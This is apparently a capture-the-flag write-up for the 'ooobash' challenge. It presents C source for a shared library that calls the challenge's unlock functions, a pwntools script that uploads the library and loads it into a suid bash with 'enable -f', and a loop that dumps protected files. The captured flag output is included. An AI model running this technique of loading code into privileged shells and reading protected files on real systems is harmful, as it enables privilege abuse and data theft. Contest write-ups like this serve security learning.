#### IntroWe're taken to the shell and we can immediately see that /bin/bash is suid. This has the classic suid binary bug and all that. But here's another unintended solution.
### libfun.so
```c#include <stdio.h>#include <sys/types.h>#include <unistd.h>
extern int update_ooostate(char* string, int lock);extern void getflag_builtin();
void __attribute((constructor)) initLibrary(void){    update_ooostate("unlockbabylock", 0);    update_ooostate("badr3d1r", 1);    update_ooostate("verysneaky", 2);    update_ooostate("leetness", 3);    update_ooostate("vneooo", 4);    update_ooostate("eval", 5);    update_ooostate("ret", 6);    update_ooostate("n3t", 7);    update_ooostate("sig", 8);    update_ooostate("yo", 9);    update_ooostate("aro", 10);    update_ooostate("fnx", 11);    update_ooostate("ifonly", 12);    getflag_builtin();}```
`gcc -shared fun.c -o libfun.so`
How I got these you ask? All that was done was exfiltrating the /bin/bash library using `cat /bin/bash | base64` and copying it out to my local machine and reverse engineering it we got all these calls to update_ooostate().
### The exploit.```	from pwn import *
	if __name__ == '__main__':			with open('libfun.so', 'rb') as fp:					buf = fp.read()
			enc = base64.b64encode(buf) # Convert to base64 before sending.			r = remote(host='ooobash.challenges.ooo', port=5000)			payload = b'cat << EOT > /tmp/libn.so\n'			payload += enc			payload += b'\nEOT'			r.sendline(payload)			r.sendline('/bin/bash')			r.sendline('chmod 777 /tmp/libn.so')			r.sendline('cat /tmp/libn.so')  # Necessary or everything breaks :p; not sure why tho.			r.sendline('cat /tmp/libn.so | base64 -d > /tmp/libn1.so') # unbase64 on that end.			r.sendline('enable -f /tmp/libn1.so pwned') # Enable it as a bashbuiltin :)
			TOKEN = b'cd /etc/ooobash && for file in *; do echo "#$file"; cat $file; echo "#$file";done' # If we exploit the suid we can run this too			r.sendline(TOKEN)			_ = r.recvline()			DATA = r.recvall(timeout=4)			print(DATA.decode(errors='ignore'))````````
### The output		 > 					unlocking unlockbabylock (0)> 					unlocking badr3d1r (1)> 					unlocking verysneaky (2)> 					unlocking leetness (3)> 					unlocking vneooo (4)> 					unlocking eval (5)> 					unlocking ret (6)> 					unlocking n3t (7)> 					unlocking sig (8)> 					unlocking yo (9)> 					unlocking aro (10)> 					unlocking fnx (11)> 					unlocking ifonly (12)> 					You are now a certified bash reverser! The flag is OOO{r3VEr51nG_b4sH_5Cr1P7s_I5_lAm3_bU7_R3vErs1Ng_b4SH_is_31337}> 					/bin/bash: line 4: enable: cannot find pwned_struct in shared object /tmp/libn1.so: /tmp/libn1.so: undefined symbol: pwned_struct> 					#flag> 					մnj (r\x1b9-\x19m?%\x10MZd4RE*ӟ>\x0b$O;;Ө@ҍ<h\x0e\x99#flag> 					#state> 					\x12W:TQK\x1a,9LR:#state> 					#token> 					\x1f\x0e\x1cbd\x0b\x03\xa4H\}z]\x0c#token> 
Ay now we got the flag :) 